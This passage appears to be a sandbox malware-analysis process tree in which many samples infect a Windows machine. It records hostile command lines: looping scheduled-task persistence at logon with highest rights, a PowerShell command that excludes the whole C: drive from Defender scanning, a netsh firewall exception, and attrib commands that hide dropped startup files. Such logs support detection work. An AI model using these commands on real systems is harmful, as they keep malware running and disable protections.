        PID:6324
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\hmDAAgdLYrZ2.bat" "
        28⤵
        
        PID:668
        
        C:\Windows\system32\chcp.com
        
        chcp 65001
        29⤵
        
        PID:3376
        
        C:\Windows\system32\PING.EXE
        
        ping -n 10 localhost
        29⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:1196
        
        C:\Users\Admin\AppData\Roaming\Programfiles\java.exe
        
        "C:\Users\Admin\AppData\Roaming\Programfiles\java.exe"
        29⤵
        Suspicious use of SendNotifyMessage
        
        PID:2292
        
        C:\Windows\SYSTEM32\schtasks.exe
        
        "schtasks" /create /tn "java ©" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\Programfiles\java.exe" /rl HIGHEST /f
        30⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:6388
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\z3rrpokMxBRG.bat" "
        30⤵
        
        PID:3968
        
        C:\Windows\system32\chcp.com
        
        chcp 65001
        31⤵
        
        PID:4984
        
        C:\Windows\system32\PING.EXE
        
        ping -n 10 localhost
        31⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:5528
        
        C:\Users\Admin\AppData\Roaming\Programfiles\java.exe
        
        "C:\Users\Admin\AppData\Roaming\Programfiles\java.exe"
        31⤵
        Suspicious use of SendNotifyMessage
        
        PID:3020
        
        C:\Windows\SYSTEM32\schtasks.exe
        
        "schtasks" /create /tn "java ©" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\Programfiles\java.exe" /rl HIGHEST /f
        32⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:336
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\updXgI4Tshq9.bat" "
        32⤵
        
        PID:4632
        
        C:\Windows\system32\chcp.com
        
        chcp 65001
        33⤵
        
        PID:1076
        
        C:\Windows\system32\PING.EXE
        
        ping -n 10 localhost
        33⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:396
        
        C:\Users\Admin\AppData\Roaming\Programfiles\java.exe
        
        "C:\Users\Admin\AppData\Roaming\Programfiles\java.exe"
        33⤵
        Suspicious use of SendNotifyMessage
        
        PID:1008
        
        C:\Windows\SYSTEM32\schtasks.exe
        
        "schtasks" /create /tn "java ©" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\Programfiles\java.exe" /rl HIGHEST /f
        34⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:6004
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\6R25fvaipkKk.bat" "
        34⤵
        
        PID:4764
        
        C:\Windows\system32\chcp.com
        
        chcp 65001
        35⤵
        
        PID:5488
        
        C:\Windows\system32\PING.EXE
        
        ping -n 10 localhost
        35⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:6544
        
        C:\Users\Admin\AppData\Roaming\Programfiles\java.exe
        
        "C:\Users\Admin\AppData\Roaming\Programfiles\java.exe"
        35⤵
        Suspicious use of SendNotifyMessage
        Suspicious use of SetWindowsHookEx
        
        PID:3752
        
        C:\Windows\SYSTEM32\schtasks.exe
        
        "schtasks" /create /tn "java ©" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\Programfiles\java.exe" /rl HIGHEST /f
        36⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:6620
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\sAqtBKLthTK8.bat" "
        36⤵
        
        PID:716
        
        C:\Windows\system32\chcp.com
        
        chcp 65001
        37⤵
        
        PID:6508
        
        C:\Windows\system32\PING.EXE
        
        ping -n 10 localhost
        37⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:7088
        
        C:\Users\Admin\AppData\Roaming\Programfiles\java.exe
        
        "C:\Users\Admin\AppData\Roaming\Programfiles\java.exe"
        37⤵
        Suspicious use of SendNotifyMessage
        
        PID:1516
        
        C:\Windows\SYSTEM32\schtasks.exe
        
        "schtasks" /create /tn "java ©" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\Programfiles\java.exe" /rl HIGHEST /f
        38⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:2836
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\KBnGgkPv6dHT.bat" "
        38⤵
        
        PID:6260
        
        C:\Windows\system32\chcp.com
        
        chcp 65001
        39⤵
        
        PID:7144
        
        C:\Windows\system32\PING.EXE
        
        ping -n 10 localhost
        39⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:3584
        
        C:\Users\Admin\AppData\Roaming\Programfiles\java.exe
        
        "C:\Users\Admin\AppData\Roaming\Programfiles\java.exe"
        39⤵
        Suspicious use of SendNotifyMessage
        
        PID:7076
        
        C:\Windows\SYSTEM32\schtasks.exe
        
        "schtasks" /create /tn "java ©" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\Programfiles\java.exe" /rl HIGHEST /f
        40⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:6388
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\qX1ye2j1tdW0.bat" "
        40⤵
        
        PID:5036
        
        C:\Windows\system32\chcp.com
        
        chcp 65001
        41⤵
        
        PID:460
        
        C:\Windows\system32\PING.EXE
        
        ping -n 10 localhost
        41⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:4568
        
        C:\Users\Admin\AppData\Roaming\Programfiles\java.exe
        
        "C:\Users\Admin\AppData\Roaming\Programfiles\java.exe"
        41⤵
        Suspicious use of SendNotifyMessage
        
        PID:6360
        
        C:\Windows\SYSTEM32\schtasks.exe
        
        "schtasks" /create /tn "java ©" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\Programfiles\java.exe" /rl HIGHEST /f
        42⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:5908
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Hzc28bN9aI9j.bat" "
        42⤵
        
        PID:8300
        
        C:\Windows\system32\chcp.com
        
        chcp 65001
        43⤵
        
        PID:8348
        
        C:\Windows\system32\PING.EXE
        
        ping -n 10 localhost
        43⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:8364
        
        C:\Users\Admin\AppData\Roaming\Programfiles\java.exe
        
        "C:\Users\Admin\AppData\Roaming\Programfiles\java.exe"
        43⤵
        Suspicious use of SendNotifyMessage
        
        PID:8760
        
        C:\Windows\SYSTEM32\schtasks.exe
        
        "schtasks" /create /tn "java ©" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\Programfiles\java.exe" /rl HIGHEST /f
        44⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:8788
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ZGSIHRHAi6O9.bat" "
        44⤵
        
        PID:8876
        
        C:\Windows\system32\chcp.com
        
        chcp 65001
        45⤵
        
        PID:8920
        
        C:\Windows\system32\PING.EXE
        
        ping -n 10 localhost
        45⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:8936
        
        C:\Users\Admin\AppData\Roaming\Programfiles\java.exe
        
        "C:\Users\Admin\AppData\Roaming\Programfiles\java.exe"
        45⤵
        Suspicious use of SendNotifyMessage
        
        PID:4504
        
        C:\Windows\SYSTEM32\schtasks.exe
        
        "schtasks" /create /tn "java ©" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\Programfiles\java.exe" /rl HIGHEST /f
        46⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:332
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\XToEtm9OdKEc.bat" "
        46⤵
        
        PID:1172
        
        C:\Windows\system32\chcp.com
        
        chcp 65001
        47⤵
        
        PID:7248
        
        C:\Windows\system32\PING.EXE
        
        ping -n 10 localhost
        47⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:7424
        
        C:\Users\Admin\AppData\Roaming\Programfiles\java.exe
        
        "C:\Users\Admin\AppData\Roaming\Programfiles\java.exe"
        47⤵
        Suspicious use of SendNotifyMessage
        
        PID:7964
        
        C:\Windows\SYSTEM32\schtasks.exe
        
        "schtasks" /create /tn "java ©" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\Programfiles\java.exe" /rl HIGHEST /f
        48⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:7796
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\JRIhsEUMCECG.bat" "
        48⤵
        
        PID:5464
        
        C:\Windows\system32\chcp.com
        
        chcp 65001
        49⤵
        
        PID:7436
        
        C:\Windows\system32\PING.EXE
        
        ping -n 10 localhost
        49⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:8024
        
        C:\Users\Admin\AppData\Roaming\Programfiles\java.exe
        
        "C:\Users\Admin\AppData\Roaming\Programfiles\java.exe"
        49⤵
        Suspicious use of SendNotifyMessage
        
        PID:8004
        
        C:\Windows\SYSTEM32\schtasks.exe
        
        "schtasks" /create /tn "java ©" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\Programfiles\java.exe" /rl HIGHEST /f
        50⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:4632
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\zIiX8uYCyeEP.bat" "
        50⤵
        
        PID:3044
        
        C:\Windows\system32\chcp.com
        
        chcp 65001
        51⤵
        
        PID:8096
        
        C:\Windows\system32\PING.EXE
        
        ping -n 10 localhost
        51⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:7960
        
        C:\Users\Admin\AppData\Roaming\Programfiles\java.exe
        
        "C:\Users\Admin\AppData\Roaming\Programfiles\java.exe"
        51⤵
        Suspicious use of SendNotifyMessage
        
        PID:2308
        
        C:\Windows\SYSTEM32\schtasks.exe
        
        "schtasks" /create /tn "java ©" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\Programfiles\java.exe" /rl HIGHEST /f
        52⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:8676
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ftc7UJmbTeNV.bat" "
        52⤵
        
        PID:3460
        
        C:\Windows\system32\chcp.com
        
        chcp 65001
        53⤵
        
        PID:5336
        
        C:\Windows\system32\PING.EXE
        
        ping -n 10 localhost
        53⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:8252
        
        C:\Users\Admin\AppData\Roaming\Programfiles\java.exe
        
        "C:\Users\Admin\AppData\Roaming\Programfiles\java.exe"
        53⤵
        Suspicious use of SendNotifyMessage
        
        PID:8856
        
        C:\Windows\SYSTEM32\schtasks.exe
        
        "schtasks" /create /tn "java ©" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\Programfiles\java.exe" /rl HIGHEST /f
        54⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:8928
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\cMCJbno85rpq.bat" "
        54⤵
        
        PID:6828
        
        C:\Windows\system32\chcp.com
        
        chcp 65001
        55⤵
        
        PID:9052
        
        C:\Windows\system32\PING.EXE
        
        ping -n 10 localhost
        55⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:9068
        
        C:\Users\Admin\AppData\Roaming\Programfiles\java.exe
        
        "C:\Users\Admin\AppData\Roaming\Programfiles\java.exe"
        55⤵
        Suspicious use of SendNotifyMessage
        Suspicious use of SetWindowsHookEx
        
        PID:3592
        
        C:\Windows\SYSTEM32\schtasks.exe
        
        "schtasks" /create /tn "java ©" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\Programfiles\java.exe" /rl HIGHEST /f
        56⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:3760
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\XCIKa4h1v3th.bat" "
        56⤵
        
        PID:7800
        
        C:\Windows\system32\chcp.com
        
        chcp 65001
        57⤵
        
        PID:8548
        
        C:\Windows\system32\PING.EXE
        
        ping -n 10 localhost
        57⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:8564
        
        C:\Users\Admin\AppData\Roaming\Programfiles\java.exe
        
        "C:\Users\Admin\AppData\Roaming\Programfiles\java.exe"
        57⤵
        Suspicious use of SendNotifyMessage
        Suspicious use of SetWindowsHookEx
        
        PID:7620
        
        C:\Windows\SYSTEM32\schtasks.exe
        
        "schtasks" /create /tn "java ©" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\Programfiles\java.exe" /rl HIGHEST /f
        58⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:8404
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        59⤵
        
        PID:3568
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\7loiV2mUunpK.bat" "
        58⤵
        
        PID:5424
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        59⤵
        
        PID:5404
        
        C:\Windows\system32\chcp.com
        
        chcp 65001
        59⤵
        
        PID:2040
        
        C:\Windows\system32\PING.EXE
        
        ping -n 10 localhost
        59⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:5752
        
        C:\Users\Admin\AppData\Roaming\Programfiles\java.exe
        
        "C:\Users\Admin\AppData\Roaming\Programfiles\java.exe"
        59⤵
        Suspicious use of SendNotifyMessage
        
        PID:8924
        
        C:\Windows\SYSTEM32\schtasks.exe
        
        "schtasks" /create /tn "java ©" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\Programfiles\java.exe" /rl HIGHEST /f
        60⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:9200
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        61⤵
        
        PID:5780
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\F6stdNC1Iv0t.bat" "
        60⤵
        
        PID:5148
        
        C:\Windows\system32\chcp.com
        
        chcp 65001
        61⤵
        
        PID:7988
        
        C:\Windows\system32\PING.EXE
        
        ping -n 10 localhost
        61⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:1356
        
        C:\Users\Admin\AppData\Roaming\Programfiles\java.exe
        
        "C:\Users\Admin\AppData\Roaming\Programfiles\java.exe"
        61⤵
        
        PID:7444
        
        C:\Windows\SYSTEM32\schtasks.exe
        
        "schtasks" /create /tn "java ©" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\Programfiles\java.exe" /rl HIGHEST /f
        62⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:4580
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\sQ1MjUmc801C.bat" "
        62⤵
        
        PID:7540
        
        C:\Windows\system32\chcp.com
        
        chcp 65001
        63⤵
        
        PID:7464
        
        C:\Windows\system32\PING.EXE
        
        ping -n 10 localhost
        63⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:7692
        
        C:\Users\Admin\AppData\Roaming\Programfiles\java.exe
        
        "C:\Users\Admin\AppData\Roaming\Programfiles\java.exe"
        63⤵
        
        PID:9180
        
        C:\Windows\SYSTEM32\schtasks.exe
        
        "schtasks" /create /tn "java ©" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\Programfiles\java.exe" /rl HIGHEST /f
        64⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:1328
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\3e38fQs3kJ01.bat" "
        64⤵
        
        PID:6124
        
        C:\Windows\system32\chcp.com
        
        chcp 65001
        65⤵
        
        PID:7256
        
        C:\Windows\system32\PING.EXE
        
        ping -n 10 localhost
        65⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:8984
        
        C:\Users\Admin\AppData\Roaming\Programfiles\java.exe
        
        "C:\Users\Admin\AppData\Roaming\Programfiles\java.exe"
        65⤵
        
        PID:8084
        
        C:\Windows\SYSTEM32\schtasks.exe
        
        "schtasks" /create /tn "java ©" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\Programfiles\java.exe" /rl HIGHEST /f
        66⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:5004
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\fq0pnWN4F8MX.bat" "
        66⤵
        
        PID:9352
        
        C:\Windows\system32\chcp.com
        
        chcp 65001
        67⤵
        
        PID:6304
        
        C:\Windows\system32\PING.EXE
        
        ping -n 10 localhost
        67⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:9772
        
        C:\Users\Admin\AppData\Roaming\Programfiles\java.exe
        
        "C:\Users\Admin\AppData\Roaming\Programfiles\java.exe"
        67⤵
        
        PID:8748
        
        C:\Windows\SYSTEM32\schtasks.exe
        
        "schtasks" /create /tn "java ©" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\Programfiles\java.exe" /rl HIGHEST /f
        68⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:5332
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\EOoH3XrBOBme.bat" "
        68⤵
        
        PID:8680
        
        C:\Windows\system32\chcp.com
        
        chcp 65001
        69⤵
        
        PID:6300
        
        C:\Windows\system32\PING.EXE
        
        ping -n 10 localhost
        69⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:9976
        
        C:\Users\Admin\AppData\Roaming\Programfiles\java.exe
        
        "C:\Users\Admin\AppData\Roaming\Programfiles\java.exe"
        69⤵
        
        PID:8400
        
        C:\Windows\SYSTEM32\schtasks.exe
        
        "schtasks" /create /tn "java ©" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\Programfiles\java.exe" /rl HIGHEST /f
        70⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:9412
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Lrf3rwZpdVPc.bat" "
        70⤵
        
        PID:5916
        
        C:\Windows\system32\chcp.com
        
        chcp 65001
        71⤵
        
        PID:7412
        
        C:\Windows\system32\PING.EXE
        
        ping -n 10 localhost
        71⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:6652
        
        C:\Users\Admin\AppData\Roaming\Programfiles\java.exe
        
        "C:\Users\Admin\AppData\Roaming\Programfiles\java.exe"
        71⤵
        
        PID:4196
        
        C:\Windows\SYSTEM32\schtasks.exe
        
        "schtasks" /create /tn "java ©" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\Programfiles\java.exe" /rl HIGHEST /f
        72⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:9616
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\1zrKdyI1NNCy.bat" "
        72⤵
        
        PID:5752
        
        C:\Windows\system32\chcp.com
        
        chcp 65001
        73⤵
        
        PID:6708
        
        C:\Windows\system32\PING.EXE
        
        ping -n 10 localhost
        73⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:5404
        
        C:\Users\Admin\AppData\Roaming\Programfiles\java.exe
        
        "C:\Users\Admin\AppData\Roaming\Programfiles\java.exe"
        73⤵
        
        PID:9980
        
        C:\Windows\SYSTEM32\schtasks.exe
        
        "schtasks" /create /tn "java ©" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\Programfiles\java.exe" /rl HIGHEST /f
        74⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:5408
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\VvodpBpgtkNj.bat" "
        74⤵
        
        PID:8136
        
        C:\Windows\system32\chcp.com
        
        chcp 65001
        75⤵
        
        PID:7352
        
        C:\Windows\system32\PING.EXE
        
        ping -n 10 localhost
        75⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:8444
        
        C:\Users\Admin\AppData\Roaming\Programfiles\java.exe
        
        "C:\Users\Admin\AppData\Roaming\Programfiles\java.exe"
        75⤵
        
        PID:6708
        
        C:\Windows\SYSTEM32\schtasks.exe
        
        "schtasks" /create /tn "java ©" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\Programfiles\java.exe" /rl HIGHEST /f
        76⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:8588
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\oubAOuZttREK.bat" "
        76⤵
        
        PID:9708
        
        C:\Windows\system32\chcp.com
        
        chcp 65001
        77⤵
        
        PID:7948
        
        C:\Windows\system32\PING.EXE
        
        ping -n 10 localhost
        77⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:10176
  - - C:\Users\Admin\AppData\Local\Temp\Files\DiscordNitroGenerator.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\DiscordNitroGenerator.exe"
      4⤵
      PID:4684
  - - C:\Users\Admin\AppData\Local\Temp\Files\svchost.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\svchost.exe"
      4⤵
      Suspicious use of SetThreadContext
      System Location Discovery: System Language Discovery
      PID:4796
    - - C:\Users\Admin\AppData\Local\Temp\Files\svchost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Files\svchost.exe"
        5⤵
        Adds Run key to start application
        Drops file in Windows directory
        
        PID:2892
      - C:\Windows\SysWOW64\cmd.exe
        
        "cmd.exe" /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\'"
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:5908
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath 'C:\'"
        7⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        
        PID:5336
      - C:\Windows\SysWOW64\schtasks.exe
        
        "schtasks" /create /tn "UpdateManager" /tr "C:\Windows\SystemUpdateCache\UpdateManager.exe" /sc onlogon /rl highest /f
        6⤵
        System Location Discovery: System Language Discovery
        Scheduled Task/Job: Scheduled Task
        
        PID:5548
      - C:\Users\Admin\Drivers\UserServiceHost.exe
        
        "C:\Users\Admin\Drivers\UserServiceHost.exe"
        6⤵
        
        PID:9160
  - - C:\Users\Admin\AppData\Local\Temp\Files\Steanings.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\Steanings.exe"
      4⤵
      System Location Discovery: System Language Discovery
      PID:1928
  - - C:\Users\Admin\AppData\Local\Temp\Files\SteamDetector.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\SteamDetector.exe"
      4⤵
      System Location Discovery: System Language Discovery
      PID:6252
    - - C:\Users\Admin\AppData\Roaming\SteamDetector.exe
        
        "C:\Users\Admin\AppData\Roaming\SteamDetector.exe"
        5⤵
        Drops startup file
        Adds Run key to start application
        Drops autorun.inf file
        Suspicious behavior: GetForegroundWindowSpam
        
        PID:2384
      - C:\Windows\SysWOW64\netsh.exe
        
        netsh firewall add allowedprogram "C:\Users\Admin\AppData\Roaming\SteamDetector.exe" "SteamDetector.exe" ENABLE
        6⤵
        Modifies Windows Firewall
        Event Triggered Execution: Netsh Helper DLL
        
        PID:5528
  - - C:\Users\Admin\AppData\Local\Temp\Files\LauncherLoader.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\LauncherLoader.exe"
      4⤵
      Downloads MZ/PE file
      System Location Discovery: System Language Discovery
      Suspicious use of SetWindowsHookEx
      PID:9144
    - - C:\INDESK\NewkeyLauncher.exe
        
        "C:\INDESK\NewkeyLauncher.exe"
        5⤵
        Downloads MZ/PE file
        Suspicious use of SetWindowsHookEx
        
        PID:7248
  - - C:\Users\Admin\AppData\Local\Temp\Files\Fast%20Download.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\Fast%20Download.exe"
      4⤵
      Drops startup file
      System Location Discovery: System Language Discovery
      PID:8352
    - - C:\Windows\SysWOW64\attrib.exe
        
        attrib +h +r +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows.exe"
        5⤵
        Views/modifies file attributes
        
        PID:8304
    - - C:\Windows\SysWOW64\attrib.exe
        
        attrib +h +r +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Windows.exe"
        5⤵
        System Location Discovery: System Language Discovery
        Views/modifies file attributes
        
        PID:8336
  - - C:\Users\Admin\AppData\Local\Temp\Files\bin.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\bin.exe"
      4⤵
      Suspicious use of SetThreadContext
      Suspicious behavior: MapViewOfSection
      PID:8112
  - - C:\Users\Admin\AppData\Local\Temp\Files\CPDB.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\CPDB.exe"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of SetWindowsHookEx
      PID:7400
  - - C:\Users\Admin\AppData\Local\Temp\Files\TPB-1.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\TPB-1.exe"
      4⤵
      Suspicious use of SetThreadContext
      System Location Discovery: System Language Discovery
      PID:7540
    - - C:\Users\Admin\AppData\Local\Temp\Files\TPB-1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Files\TPB-1.exe"
        5⤵
        
        PID:8988
    - - C:\Users\Admin\AppData\Local\Temp\Files\TPB-1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Files\TPB-1.exe"
        5⤵
        
        PID:8996
    - - C:\Users\Admin\AppData\Local\Temp\Files\TPB-1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Files\TPB-1.exe"
        5⤵
        
        PID:9016
    - - C:\Users\Admin\AppData\Local\Temp\Files\TPB-1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Files\TPB-1.exe"
        5⤵
        
        PID:7248
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 7540 -s 792
        5⤵
        Program crash
        
        PID:7700
  - - C:\Users\Admin\AppData\Local\Temp\Files\Servers.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\Servers.exe"
      4⤵
      PID:7032
    - - C:\Windows\SYSTEM32\schtasks.exe
        
        "schtasks" /create /tn "Server Client Startup" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\WindowsLockerZAP\Windows Defender SmartScreen (32 bit).exe" /rl HIGHEST /f
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:8000
    - - C:\Users\Admin\AppData\Roaming\WindowsLockerZAP\Windows Defender SmartScreen (32 bit).exe
        
        "C:\Users\Admin\AppData\Roaming\WindowsLockerZAP\Windows Defender SmartScreen (32 bit).exe"
        5⤵
        Suspicious use of SetWindowsHookEx
        
        PID:7588
      - C:\Windows\SYSTEM32\schtasks.exe
        
        "schtasks" /create /tn "Server Client Startup" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\WindowsLockerZAP\Windows Defender SmartScreen (32 bit).exe" /rl HIGHEST /f
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:6096
  - - C:\Users\Admin\AppData\Local\Temp\Files\CryptoWall.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\CryptoWall.exe"
      4⤵
      PID:7764
  - - C:\Users\Admin\AppData\Local\Temp\Files\Security.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\Security.exe"
      4⤵
      PID:4296
    - - C:\Users\Admin\AppData\Local\Temp\$77Security.exe
        
        "C:\Users\Admin\AppData\Local\Temp\$77Security.exe"
        5⤵
        Adds Run key to start application
        
        PID:8752
      - C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "$77Security" /tr "C:\Users\Admin\AppData\Roaming\$77Security.exe"
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:6896
    - - C:\Users\Admin\AppData\Local\Temp\Install.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Install.exe"
